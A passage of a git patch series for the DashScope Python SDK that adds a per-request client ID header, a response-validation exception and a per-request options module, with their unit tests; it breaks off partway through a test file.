From 0ac71c0b6fd171740da05b699a4f084561b036ea Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Fri, 30 Oct 2026 17:49:06 +0800 Subject: [PATCH 01/26] feat(core): Add client request ID and response validation exception - Add client_request_id generation logic and inject it into request headers - Ensure multiple retries of the same logical request share the same client ID - Record client ID in transport-layer errors and logs for issue tracing - Add APIResponseValidationError to handle response body parsing failures - Truncate and format exception output to prevent multi-line text from breaking log structure - Add comprehensive unit tests for request ID generation and response validation exceptions --- dashscope/errors.py | 79 +++++++++++++++++ dashscope/transport/_ident.py | 49 +++++++++-- dashscope/transport/http.py | 78 ++++++++++++----- tests/test_errors.py | 114 ++++++++++++++++++++++++ tests/test_transport.py | 159 +++++++++++++++++++++++++++++++++- 5 files changed, 451 insertions(+), 28 deletions(-) diff --git a/dashscope/errors.py b/dashscope/errors.py index 005f53b8..0d7909ff 100644 --- a/dashscope/errors.py +++ b/dashscope/errors.py @@ -27,6 +27,13 @@ entries. AgentStudio and AgenticRL also raise catalog-backed v2 errors natively; :func:`error_from_sdk_exception` remains available for mounts over external SDK families. + +A fourth source has a response the gateway considered successful: +:class:`APIResponseValidationError`, for a body that does not fit the +model the SDK parses it into. It belongs to neither layer above -- the +gateway declared no failure -- and is not an :class:`SdkError` either, +because the catalog is a vendored generated artifact this SDK does not +hand-edit. """ from __future__ import annotations @@ -213,6 +220,78 @@ class WsBinaryOwnerConflictError(_CatalogSdkError): _SDK_ERROR_NAME = "sdk.ws.BinaryOwnerConflict" +_STR_FIELD_LIMIT = 200 + + +def _one_line(text: str, limit: int = _STR_FIELD_LIMIT) -> str: + """Collapse whitespace and bound a field destined for ``__str__``. + + Bodies and validation errors are both unbounded and both multiline, + and ``__str__`` joins its fields with `` | `` on one line for logs. + """ + text = " ".join(text.split()) + return text if len(text) <= limit else f"{text[:limit]}..." + + +class APIResponseValidationError(DashScopeError): + """The gateway answered, but its body did not fit the SDK's models. + + Distinct from :class:`APIStatusError` so that ``except + APIStatusError`` keeps meaning "the service refused or broke": here + nothing failed on the wire and the gateway declared no error, the + payload simply could not be parsed into the model the resource + returns. + + Carries ``response`` (``None`` for websocket payloads, which have no + response), ``body`` as received, and ``cause``, the original + validation error. ``status_code`` stays ``None`` even with a + response present: that status is the gateway's and it reported + success, so repeating it here would read as the reason for the + failure. ``response.status_code`` still has it. + + Deliberately no catalog entry -- ``_error_registry.py`` is vendored + from a generator this repo does not carry -- so it roots at + :class:`DashScopeError`, not :class:`SdkError`, whose ``code`` and + ``solution`` would have to name an entry that does not exist. + """ + + def __init__( + self, + message: Optional[str] = None, + *, + response: Optional[httpx.Response] = None, + body: Any = None, + cause: Optional[BaseException] = None, + request_id: Optional[str] = None, + headers: Optional[Mapping[str, str]] = None, + ) -> None: + if headers is None and response is not None: + headers = response.headers + data = _extract(body) + super().__init__( + message or "Response body failed SDK-side validation.", + request_id=request_id or _request_id(data, headers or {}), + body=body, + headers=headers, + ) + self.response = response + self.cause = cause + + def __str__(self) -> str: + parts = [super().__str__()] + if self.cause is not None: + parts.append(f"cause={_one_line(str(self.cause))}") + if self.body is not None: + body = self.body + if not isinstance(body, str): + try: + body = json.dumps(body, ensure_ascii=False, default=str) + except (TypeError, ValueError): + body = repr(body) + parts.append(f"body={_one_line(body)}") + return " | ".join(parts) + + class APIStatusError(DashScopeError): """A failure the gateway declared, on either layer of the model. diff --git a/dashscope/transport/_ident.py b/dashscope/transport/_ident.py index 5e1aa9d1..24033c00 100644 --- a/dashscope/transport/_ident.py +++ b/dashscope/transport/_ident.py @@ -7,14 +7,20 @@ ``python-sdk//dashscope2`` -- the trailing ``2`` marks the v2 surface, see ``V2_MODULE_MARKER``), and ``x-dashscope-sdk-session-id`` carries one id per interpreter process so server-side access logs can -group all requests a single SDK session makes. Caller-supplied headers -always win over these defaults. Set ``DASHSCOPE_DISABLE_SDK_HEADERS`` to -omit both (the same kill switch the 1.x SDK honors). +group all requests a single SDK session makes. +``x-dashscope-client-request-id`` narrows that to one logical request: +the session id cannot tell two calls apart, and the server's own +``x-request-id`` only exists once a response comes back, so a request +that dies in the network layer would otherwise leave nothing to +correlate. Caller-supplied headers always win over these defaults. Set +``DASHSCOPE_DISABLE_SDK_HEADERS`` to omit all three (the same kill +switch the 1.x SDK honors). """ from __future__ import annotations import os +import uuid from typing import Optional # One process-wide session id shared with the 1.x API classes, so a @@ -25,6 +31,7 @@ SDK_CLIENT_HEADER = "x-dashscope-sdk-client" SDK_SESSION_ID_HEADER = "x-dashscope-sdk-session-id" +CLIENT_REQUEST_ID_HEADER = "x-dashscope-client-request-id" # ``client/version/module``, mirroring 1.x ``common.utils.get_sdk_headers``. # The client segment keeps server-side language stats on one spelling @@ -78,16 +85,44 @@ def sdk_client_value(module: Optional[str] = None) -> str: SDK_CLIENT_VALUE = sdk_client_value() -def sdk_headers(module: Optional[str] = None) -> dict: +def client_request_id() -> Optional[str]: + """A fresh client-side id for one logical request. + + Complements the server's ``x-request-id`` rather than replacing it: + this one exists before the request is sent, so it is still available + when the request never reaches the gateway. Callers mint one per + request, outside the retry loop, and reuse it across attempts -- the + id counts logical requests, not attempts, so the server's per-attempt + ``x-request-id`` still correlates back to a single client id. + + ``None`` under ``DASHSCOPE_DISABLE_SDK_HEADERS`` is deliberate -- an id + that never went on the wire is not something anyone can look up, so + carrying it into logs and errors would point at nothing. + """ + if os.environ.get("DASHSCOPE_DISABLE_SDK_HEADERS"): + return None + return uuid.uuid4().hex + + +def sdk_headers( + module: Optional[str] = None, + per_request_id: Optional[str] = None, +) -> dict: """Default identification headers for outgoing requests. ``module`` names the functional area issuing the request and becomes - the third segment of ``x-dashscope-sdk-client``. Returns an empty dict - when ``DASHSCOPE_DISABLE_SDK_HEADERS`` is set, matching the 1.x opt-out. + the third segment of ``x-dashscope-sdk-client``. ``per_request_id`` is + the caller's :func:`client_request_id` value; passing it in rather + than minting one here is what keeps every retry attempt of a request + under a single id. Returns an empty dict when + ``DASHSCOPE_DISABLE_SDK_HEADERS`` is set, matching the 1.x opt-out. """ if os.environ.get("DASHSCOPE_DISABLE_SDK_HEADERS"): return {} - return { + headers = { SDK_CLIENT_HEADER: sdk_client_value(module), SDK_SESSION_ID_HEADER: sdk_session_id(), } + if per_request_id: + headers[CLIENT_REQUEST_ID_HEADER] = per_request_id + return headers diff --git a/dashscope/transport/http.py b/dashscope/transport/http.py index 2c9164d2..fa888074 100644 --- a/dashscope/transport/http.py +++ b/dashscope/transport/http.py @@ -18,7 +18,7 @@ DashScopeError, check_response, ) -from dashscope.transport._ident import sdk_headers +from dashscope.transport import _ident from dashscope.transport._retry import backoff_delay, should_retry logger = get_logger("transport") @@ -27,16 +27,26 @@ _WORKSPACE_HEADER = "X-DashScope-WorkSpace" -def _map_transport_error(exc: httpx.TransportError) -> DashScopeError: +def _map_transport_error( + exc: httpx.TransportError, + request_id: Optional[str] = None, +) -> DashScopeError: """Map raw httpx transport failures into the SDK error hierarchy. The message text comes from the catalog entry behind each class (``sdk.Timeout`` / ``sdk.ConnectionError``), with the httpx error as the ``{detail}``. + + ``request_id`` is the best id the caller has for the failed request: + the server's ``x-request-id`` when a response arrived before the + failure, otherwise the client-generated id that went out with the + request. A transport failure that never got a response can therefore + only ever carry the client id -- which is still something to search + access logs for, unlike the ``None`` it would otherwise be. """ if isinstance(exc, httpx.TimeoutException): - return APITimeoutError(detail=str(exc)) - return APIConnectionError(detail=str(exc)) + return APITimeoutError(detail=str(exc), request_id=request_id) + return APIConnectionError(detail=str(exc), request_id=request_id) def _resolve_timeout( @@ -203,6 +213,7 @@ def request( sdk_module: Optional[str] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) + client_request_id = _ident.client_request_id() for attempt in range(self._max_retries + 1): try: response = self._client.request( @@ -215,7 +226,7 @@ def request( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, @@ -227,13 +238,15 @@ def request( except httpx.TransportError as exc: if attempt >= self._max_retries: logger.warning( - "request %s %s failed after %d attempt(s): %s", + "request %s %s failed after %d attempt(s)" + " (client_request_id=%s): %s", method, path, attempt + 1, + client_request_id, exc, ) - raise _map_transport_error(exc) from exc + raise _map_transport_error(exc, client_request_id) from exc delay = backoff_delay(attempt, None) logger.info( "retrying %s %s in %.2fs (attempt %d/%d): %s: %s", @@ -249,10 +262,11 @@ def request( continue request_id = response.headers.get("x-request-id") logger.debug( - "request %s %s -> %d (request_id=%s)", + "request %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, request_id, ) if not should_retry(response.status_code, response.headers): @@ -296,6 +310,7 @@ def open_stream( never retries or replays stream contents. """ url = _abs_url(base_url or self._base_url, path) + client_request_id = _ident.client_request_id() for attempt in range(self._max_retries + 1): try: response = self._client.send( @@ -306,7 +321,7 @@ def open_stream( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, @@ -321,7 +336,10 @@ def open_stream( ) except httpx.TransportError as exc: if attempt >= self._max_retries: - raise _map_transport_error(exc) from exc + raise _map_transport_error( + exc, + client_request_id, + ) from exc delay = backoff_delay(attempt, None) logger.info( "retrying stream %s %s in %.2fs (attempt %d/%d): %s: %s", @@ -368,14 +386,20 @@ def open_stream( response.read() check_response(response) except httpx.TransportError as exc: - raise _map_transport_error(exc) from exc + # A response arrived, so its server id wins. + raise _map_transport_error( + exc, + response.headers.get("x-request-id") + or client_request_id, + ) from exc finally: response.close() logger.debug( - "stream %s %s -> %d (request_id=%s)", + "stream %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, response.headers.get("x-request-id"), ) return response @@ -440,6 +464,7 @@ async def request( sdk_module: Optional[str] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) + client_request_id = _ident.client_request_id() for attempt in range(self._max_retries + 1): try: response = await self._client.request( @@ -452,7 +477,7 @@ async def request( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, @@ -464,13 +489,15 @@ async def request( except httpx.TransportError as exc: if attempt >= self._max_retries: logger.warning( - "request %s %s failed after %d attempt(s): %s", + "request %s %s failed after %d attempt(s)" + " (client_request_id=%s): %s", method, path, attempt + 1, + client_request_id, exc, ) - raise _map_transport_error(exc) from exc + raise _map_transport_error(exc, client_request_id) from exc delay = backoff_delay(attempt, None) logger.info( "retrying %s %s in %.2fs (attempt %d/%d): %s: %s", @@ -486,10 +513,11 @@ async def request( continue request_id = response.headers.get("x-request-id") logger.debug( - "request %s %s -> %d (request_id=%s)", + "request %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, request_id, ) if not should_retry(response.status_code, response.headers): @@ -527,6 +555,7 @@ async def open_stream( ) -> httpx.Response: """Async twin of :meth:`SyncTransport.open_stream`.""" url = _abs_url(base_url or self._base_url, path) + client_request_id = _ident.client_request_id() for attempt in range(self._max_retries + 1): request = self._client.build_request( method, @@ -535,7 +564,7 @@ async def open_stream( params=params, headers=_request_headers( self._default_headers, - sdk_headers(sdk_module), + _ident.sdk_headers(sdk_module, client_request_id), headers, api_key, workspace, @@ -548,7 +577,10 @@ async def open_stream( response = await self._client.send(request, stream=True) except httpx.TransportError as exc: if attempt >= self._max_retries: - raise _map_transport_error(exc) from exc + raise _map_transport_error( + exc, + client_request_id, + ) from exc delay = backoff_delay(attempt, None) logger.info( "retrying stream %s %s in %.2fs (attempt %d/%d): %s: %s", @@ -593,14 +625,20 @@ async def open_stream( await response.aread() check_response(response) except httpx.TransportError as exc: - raise _map_transport_error(exc) from exc + # A response arrived, so its server id wins. + raise _map_transport_error( + exc, + response.headers.get("x-request-id") + or client_request_id, + ) from exc finally: await response.aclose() logger.debug( - "stream %s %s -> %d (request_id=%s)", + "stream %s %s -> %d (client_request_id=%s, request_id=%s)", method, path, response.status_code, + client_request_id, response.headers.get("x-request-id"), ) return response diff --git a/tests/test_errors.py b/tests/test_errors.py index 48bd0d37..9c824175 100644 --- a/tests/test_errors.py +++ b/tests/test_errors.py @@ -17,12 +17,14 @@ import httpx import pytest +from pydantic import ValidationError from dashscope import AsyncClient, Client from dashscope import _error_registry as registry from dashscope import errors from dashscope.errors import ( APIConnectionError, + APIResponseValidationError, APIStatusError, APITimeoutError, AuthenticationError, @@ -55,6 +57,7 @@ _WIRE_TO_PUBLIC, ) from dashscope.types.common import JobStatus, ResponseBase, response_body +from dashscope.types.completions import ChatCompletion def _resp(status, body=None, headers=None): @@ -1008,3 +1011,114 @@ def test_sdk_error_translation_needs_a_family_fallback(): family="sdk.agentstudio", ) assert "sdk.agentstudio.Error" in str(ei.value) + + +def _validation_cause(body): + """A real pydantic failure over a body the typed models cannot hold.""" + with pytest.raises(ValidationError) as caught: + ChatCompletion(**body) + return caught.value + + +def test_response_validation_error_is_its_own_category(): + assert issubclass(APIResponseValidationError, DashScopeError) + assert not issubclass(APIResponseValidationError, APIStatusError) + assert not issubclass(APIResponseValidationError, SdkError) + err = APIResponseValidationError() + assert isinstance(err, DashScopeError) + assert err.message == "Response body failed SDK-side validation." + # No status is invented: the gateway's own status said success. + assert err.status_code is None + assert err.code is None + + +def test_response_validation_error_is_not_a_catalog_entry(): + # ``_error_registry.py`` is a vendored generated artifact, so this + # class has no ``sdk.*`` entry behind it; pinning that keeps the + # DashScopeError base (rather than SdkError) a recorded decision. + names = {entry.name for entry in registry.SDK_ERRORS} + assert not any("response_validation" in name for name in names) + assert APIResponseValidationError().code is None + + +def test_response_validation_error_makes_a_parse_failure_catchable(): + body = {"request_id": "req-1", "usage": "unlimited"} + with pytest.raises(DashScopeError) as caught: + try: + ChatCompletion(**body) + except ValidationError as exc: + raise APIResponseValidationError( + response=_resp(200, body), + body=body, + cause=exc, + ) from exc + assert caught.value.__cause__ is not None + + +def test_response_validation_error_str_carries_request_id_and_body(): + body = { + "request_id": "req-1", + "output": {"text": "hi"}, + "usage": "unlimited", + } + err = APIResponseValidationError( + response=_resp(200, body), + body=body, + cause=_validation_cause(body), + ) + assert err.request_id == "req-1" + text = str(err) + assert "request_id=req-1" in text + assert "usage" in text and "unlimited" in text + assert "cause=" in text and "ChatCompletion" in text + # Pydantic's own text is multiline; ``__str__`` stays on one line. + assert "\n" not in text + + +def test_response_validation_error_carries_response_body_and_cause(): + body = {"usage": "unlimited"} + cause = _validation_cause(body) + response = _resp(200, body, {"x-request-id": "header-id"}) + err = APIResponseValidationError( + response=response, + body=body, + cause=cause, + ) + assert err.response is response + assert err.body is body + assert err.cause is cause + assert err.headers["x-request-id"] == "header-id" + # With no request_id in the body, the header supplies it. + assert err.request_id == "header-id" + assert err.status_code is None + assert err.response.status_code == 200 + + +def test_response_validation_error_without_a_response(): + # Websocket payloads have no httpx.Response behind them. + err = APIResponseValidationError( + body={"output": {"text": "hi"}}, + request_id="ws-1", + ) + assert err.response is None + assert err.headers == {} + assert err.request_id == "ws-1" + assert "request_id=ws-1" in str(err) + assert "cause=" not in str(err) + + +def test_response_validation_error_keeps_an_explicit_message(): + err = APIResponseValidationError("usage arrived as a string") + assert err.message == "usage arrived as a string" + assert str(err) == " usage arrived as a string" + + +def test_response_validation_error_digests_stay_one_bounded_line(): + err = APIResponseValidationError( + body={"text": "x" * 5000, "split": "a\nb\tc"}, + cause=ValueError("boom\nover two lines"), + ) + text = str(err) + assert "\n" not in text and "\t" not in text + assert text.endswith("...") + assert len(text) < 600 diff --git a/tests/test_transport.py b/tests/test_transport.py index 805a0d1c..e3aaa282 100644 --- a/tests/test_transport.py +++ b/tests/test_transport.py @@ -7,6 +7,8 @@ from __future__ import annotations +import uuid + import httpx import pytest @@ -19,7 +21,10 @@ ) from dashscope.transport import AsyncTransport, SyncTransport from dashscope.transport import http as transport_http -from dashscope.transport._ident import SDK_CLIENT_VALUE +from dashscope.transport._ident import ( + CLIENT_REQUEST_ID_HEADER, + SDK_CLIENT_VALUE, +) from dashscope.transport._retry import backoff_delay, retry_after_seconds BASE_URL = "https://api.test.local" @@ -485,6 +490,158 @@ async def test_async_sdk_identification_headers(no_sleep): await t.aclose() +def test_client_request_id_header_name(): + # Pin the wire contract: renaming the constant must not silently + # rename the header the gateway is asked to log. + assert CLIENT_REQUEST_ID_HEADER == "x-dashscope-client-request-id" + + +def test_client_request_id_is_a_fresh_uuid_per_request(no_sleep): + # The session id groups every request a process makes; this one + # narrows a log search to a single call, so two requests through one + # transport must not share it. + rec = _Recorder() + t = _make_sync(rec, []) + t.request("GET", "/x") + t.request("GET", "/y") + first = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + second = rec.requests[1].headers[CLIENT_REQUEST_ID_HEADER] + assert uuid.UUID(first).hex == first # 32 lowercase hex chars + assert uuid.UUID(second).hex == second + assert first != second + # Both still belong to one SDK session. + assert ( + rec.requests[0].headers["x-dashscope-sdk-session-id"] + == rec.requests[1].headers["x-dashscope-sdk-session-id"] + ) + + +def test_client_request_id_is_shared_by_a_request_and_its_retries(no_sleep): + # Retries are attempts at one logical request: the client id stays + # fixed while the gateway hands out an x-request-id per attempt, so + # the server-side ids all correlate back to one client id. + rec = _Recorder() + t = _make_sync(rec, [(429, {}), (200, {})], max_retries=2) + t.request("GET", "/x") + assert rec.calls == 2 + sent = [r.headers[CLIENT_REQUEST_ID_HEADER] for r in rec.requests] + assert len(set(sent)) == 1 + + +def test_client_request_id_on_streams(no_sleep): + rec = _Recorder() + t = _make_sync(rec, []) + t.open_stream("GET", "/x").close() + sent = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + assert uuid.UUID(sent).hex == sent + + +def test_client_request_id_overridden_by_caller(no_sleep): + rec = _Recorder() + t = _make_sync(rec, []) + t.request( + "GET", + "/x", + headers={"X-DashScope-Client-Request-Id": "caller-id"}, + ) + sent = rec.requests[0].headers + assert sent[CLIENT_REQUEST_ID_HEADER] == "caller-id" + assert len(sent.get_list(CLIENT_REQUEST_ID_HEADER)) == 1 + + +def test_client_request_id_disabled_with_the_other_sdk_headers(monkeypatch): + monkeypatch.setenv("DASHSCOPE_DISABLE_SDK_HEADERS", "1") + rec = _Recorder() + t = _make_sync(rec, []) + t.request("GET", "/x") + assert CLIENT_REQUEST_ID_HEADER not in rec.requests[0].headers + + +def test_connection_error_carries_the_client_request_id(no_sleep): + # The request never reached the gateway, so there is no server + # x-request-id to report; the id the SDK sent is the only handle left. + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectError("boom")], max_retries=0) + with pytest.raises(APIConnectionError) as exc_info: + t.request("GET", "/x") + sent = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + assert sent + assert exc_info.value.request_id == sent + assert sent in str(exc_info.value) + + +def test_timeout_error_carries_the_client_request_id(no_sleep): + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectTimeout("slow")], max_retries=0) + with pytest.raises(APITimeoutError) as exc_info: + t.request("GET", "/x") + assert ( + exc_info.value.request_id + == rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + ) + + +def test_stream_connection_error_carries_the_client_request_id(no_sleep): + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectError("boom")], max_retries=0) + with pytest.raises(APIConnectionError) as exc_info: + t.open_stream("POST", "/x") + assert ( + exc_info.value.request_id + == rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + ) + + +def test_no_client_request_id_on_errors_when_headers_disabled( + monkeypatch, + no_sleep, +): + # An id that never went on the wire cannot be looked up, so reporting + # it would point at nothing. + monkeypatch.setenv("DASHSCOPE_DISABLE_SDK_HEADERS", "1") + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectError("boom")], max_retries=0) + with pytest.raises(APIConnectionError) as exc_info: + t.request("GET", "/x") + assert CLIENT_REQUEST_ID_HEADER not in rec.requests[0].headers + assert exc_info.value.request_id is None + + +@pytest.mark.asyncio +async def test_async_client_request_id(no_sleep): + rec = _Recorder() + mock = httpx.MockTransport(rec.handler([])) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + t = AsyncTransport(base_url=BASE_URL, http_client=http_client) + await t.request("GET", "/x") + response = await t.open_stream("GET", "/x") + await response.aclose() + first = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + second = rec.requests[1].headers[CLIENT_REQUEST_ID_HEADER] + assert uuid.UUID(first).hex == first + assert first != second + await t.aclose() + + +@pytest.mark.asyncio +async def test_async_connection_error_carries_the_client_request_id(no_sleep): + rec = _Recorder() + mock = httpx.MockTransport(rec.handler([httpx.ConnectError("boom")])) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + t = AsyncTransport( + base_url=BASE_URL, + http_client=http_client, + max_retries=0, + ) + with pytest.raises(APIConnectionError) as exc_info: + await t.request("GET", "/x") + assert ( + exc_info.value.request_id + == rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + ) + await t.aclose() + + def test_sdk_session_id_cached_per_process(): from dashscope._shared import _sdk_session from dashscope.transport import _ident From 18faa63ee809b7ce6cc7254e52e764c8f9461cdf Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Fri, 30 Oct 2026 18:47:59 +0800 Subject: [PATCH 02/26] feat(core): Add client request ID and response validation exception --- dashscope/transport/_options.py | 134 +++++++ tests/test_request_options.py | 476 +++++++++++++++++++++++++ tests/test_resource_request_options.py | 359 +++++++++++++++++++ 3 files changed, 969 insertions(+) create mode 100644 dashscope/transport/_options.py create mode 100644 tests/test_request_options.py create mode 100644 tests/test_resource_request_options.py diff --git a/dashscope/transport/_options.py b/dashscope/transport/_options.py new file mode 100644 index 00000000..8299ae07 --- /dev/null +++ b/dashscope/transport/_options.py @@ -0,0 +1,134 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Per-request customization channel for the v2 transports. + +Every resource method offers the same three escape hatches -- +``extra_headers`` / ``extra_query`` / ``extra_body`` -- and hands them to +the transport as one :class:`RequestOptions`. They exist so a caller can +attach something this SDK does not model yet (a gateway experiment flag, +a parameter a newer backend added) without waiting for a release, and so +``max_retries`` can be narrowed for one call -- a long-running job +submission that must not be replayed, without deriving a second client +through ``with_options`` just to change that one number. + +``None`` means "no opinion" everywhere here, so a call that sets no +option behaves exactly as it did before this channel existed. Header +precedence is documented on :func:`dashscope.transport.http._request_headers`, +which is where the layers actually meet. +""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any, Dict, Mapping, Optional, Union + +import httpx + +__all__ = [ + "RequestOptions", + "deep_merge", + "merge_query", + "request_options", + "resolve_max_retries", + "resolve_timeout", +] + + +@dataclass(frozen=True) +class RequestOptions: + """Per-request overrides, every field optional. + + Frozen because one instance is naturally built once and reused across + calls; a mutable option object would let a later request inherit an + earlier one's edits. + + ``timeout`` is the *fallback* for the transport's own ``timeout=`` + argument, which wins when both are given: resources already forward a + per-method ``timeout``, so two channels setting one value with no + rule between them would be ambiguous. + """ + + extra_headers: Optional[Mapping[str, str]] = None + extra_query: Optional[Mapping[str, Any]] = None + extra_body: Optional[Mapping[str, Any]] = None + timeout: Optional[Union[float, httpx.Timeout]] = None + max_retries: Optional[int] = None + + +def request_options( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, +) -> Optional[RequestOptions]: + """Options for a resource call's three extras, or ``None``. + + Resources call this rather than building :class:`RequestOptions` + themselves, so an all-defaults call stays ``None`` and the transport + keeps its no-options path. + """ + if not (extra_headers or extra_query or extra_body): + return None + return RequestOptions( + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + ) + + +def deep_merge( + base: Mapping[str, Any], + extra: Mapping[str, Any], +) -> Dict[str, Any]: + """Merge ``extra`` over ``base``: nested dicts merge, all else replaces. + + Neither input is mutated. A key holding a dict on both sides merges + recursively, so adding one nested field does not drop its siblings; + every other type replaces, including lists -- concatenating them + would silently change what the caller asked to overwrite. + """ + merged = dict(base) + for key, value in extra.items(): + current = merged.get(key) + if isinstance(current, dict) and isinstance(value, dict): + merged[key] = deep_merge(current, value) + else: + merged[key] = value + return merged + + +def merge_query( + params: Optional[Mapping[str, Any]], + options: Optional[RequestOptions], +) -> Optional[Mapping[str, Any]]: + """``params`` with ``options.extra_query`` merged on top. + + Shallow, unlike the body merge: a query value is a scalar or a + repeated key, never a structure, so there is nothing to recurse into. + """ + if options is None or not options.extra_query: + return params + return {**(params or {}), **options.extra_query} + + +def resolve_timeout( + timeout: Optional[Union[float, httpx.Timeout]], + options: Optional[RequestOptions], +) -> Optional[Union[float, httpx.Timeout]]: + """The call's timeout, falling back to ``options.timeout``.""" + if timeout is not None or options is None: + return timeout + return options.timeout + + +def resolve_max_retries( + default: int, + options: Optional[RequestOptions], +) -> int: + """Retry budget for one request: the override, else the client default. + + Clamped at zero like the client-level setting, so a negative override + means "do not retry" rather than a negative attempt count. + """ + if options is None or options.max_retries is None: + return default + return max(options.max_retries, 0) diff --git a/tests/test_request_options.py b/tests/test_request_options.py new file mode 100644 index 00000000..92cce947 --- /dev/null +++ b/tests/test_request_options.py @@ -0,0 +1,476 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for the per-request ``RequestOptions`` channel (T1).""" + +# pytest fixture injection looks like unused/redefined names to pylint. +# pylint: disable=redefined-outer-name,unused-argument + +from __future__ import annotations + +import json +import logging + +import httpx +import pytest + +from dashscope.errors import APIConnectionError +from dashscope.transport import ( + AsyncTransport, + RequestOptions, + SyncTransport, +) +from dashscope.transport import http as transport_http +from dashscope.transport._options import ( + deep_merge, + merge_query, + request_options, + resolve_max_retries, + resolve_timeout, +) + +BASE_URL = "https://api.test.local" + + +class _Recorder: + def __init__(self, responses=None): + self.calls = 0 + self.requests = [] + self._responses = list(responses or []) + + def handler(self, request: httpx.Request) -> httpx.Response: + self.requests.append(request) + self.calls += 1 + if self.calls <= len(self._responses): + item = self._responses[self.calls - 1] + if isinstance(item, Exception): + raise item + status, headers = item + return httpx.Response(status, headers=headers) + return httpx.Response(200) + + @property + def last(self) -> httpx.Request: + return self.requests[-1] + + def sent_json(self): + return json.loads(self.last.content) + + def sent_query(self): + return dict(self.last.url.params) + + def sent_timeout(self): + return self.last.extensions["timeout"] + + +def _make_sync(recorder, **kwargs): + http_client = httpx.Client( + transport=httpx.MockTransport(recorder.handler), + base_url=BASE_URL, + ) + return SyncTransport(base_url=BASE_URL, http_client=http_client, **kwargs) + + +def _make_async(recorder, **kwargs): + http_client = httpx.AsyncClient( + transport=httpx.MockTransport(recorder.handler), + base_url=BASE_URL, + ) + return AsyncTransport(base_url=BASE_URL, http_client=http_client, **kwargs) + + +@pytest.fixture +def no_sleep(monkeypatch): + sleeps = [] + monkeypatch.setattr(transport_http, "_sleep", sleeps.append) + + async def _asleep(seconds): + sleeps.append(seconds) + + monkeypatch.setattr(transport_http, "_asleep", _asleep) + return sleeps + + +# -------------------------------------------------------------------------- +# Pure helpers: request_options / deep_merge / merge_query / resolvers +# -------------------------------------------------------------------------- + + +def test_request_options_is_none_when_nothing_is_set(): + # The transport keeps its no-options fast path, so an all-defaults + # resource call must not materialize an empty RequestOptions. + assert request_options() is None + assert request_options({}, {}, {}) is None + + +@pytest.mark.parametrize( + "kwargs", + [ + {"extra_headers": {"X-A": "1"}}, + {"extra_query": {"a": "1"}}, + {"extra_body": {"a": 1}}, + ], +) +def test_request_options_built_when_any_extra_is_set(kwargs): + options = request_options(**kwargs) + assert isinstance(options, RequestOptions) + for name, value in kwargs.items(): + assert getattr(options, name) == value + + +def test_deep_merge_nested_dicts_merge_scalars_replace(): + base = {"model": "qwen-max", "params": {"top_p": 0.5, "seed": 1}} + merged = deep_merge(base, {"params": {"top_p": 0.9}, "stream": True}) + assert merged == { + "model": "qwen-max", + "params": {"top_p": 0.9, "seed": 1}, + "stream": True, + } + + +def test_deep_merge_lists_replace_rather_than_concatenate(): + merged = deep_merge({"messages": [{"role": "user"}]}, {"messages": []}) + assert merged == {"messages": []} + + +def test_deep_merge_leaves_both_inputs_untouched(): + base = {"params": {"seed": 1}} + extra = {"params": {"top_p": 0.5}} + deep_merge(base, extra) + assert base == {"params": {"seed": 1}} + assert extra == {"params": {"top_p": 0.5}} + + +def test_merge_query_passes_params_through_without_options(): + params = {"page_no": 1} + assert merge_query(params, None) is params + assert merge_query(params, RequestOptions()) is params + + +def test_merge_query_extra_wins_on_conflict(): + options = RequestOptions(extra_query={"page_no": 9, "flag": "x"}) + assert merge_query({"page_no": 1}, options) == { + "page_no": 9, + "flag": "x", + } + + +def test_merge_query_adds_query_where_call_sent_none(): + options = RequestOptions(extra_query={"flag": "x"}) + assert merge_query(None, options) == {"flag": "x"} + + +def test_resolve_timeout_explicit_argument_wins(): + options = RequestOptions(timeout=1.5) + assert resolve_timeout(9.0, options) == 9.0 + + +def test_resolve_timeout_falls_back_to_options(): + options = RequestOptions(timeout=1.5) + assert resolve_timeout(None, options) == 1.5 + assert resolve_timeout(None, None) is None + + +def test_resolve_max_retries_override_default_and_clamp(): + assert resolve_max_retries(2, None) == 2 + assert resolve_max_retries(2, RequestOptions()) == 2 + assert resolve_max_retries(2, RequestOptions(max_retries=0)) == 0 + assert resolve_max_retries(2, RequestOptions(max_retries=5)) == 5 + assert resolve_max_retries(2, RequestOptions(max_retries=-1)) == 0 + + +# -------------------------------------------------------------------------- +# Sync transport: what actually reaches the wire +# -------------------------------------------------------------------------- + + +def test_extra_headers_reach_the_wire(no_sleep): + rec = _Recorder() + t = _make_sync(rec) + options = RequestOptions(extra_headers={"X-Experiment": "on"}) + 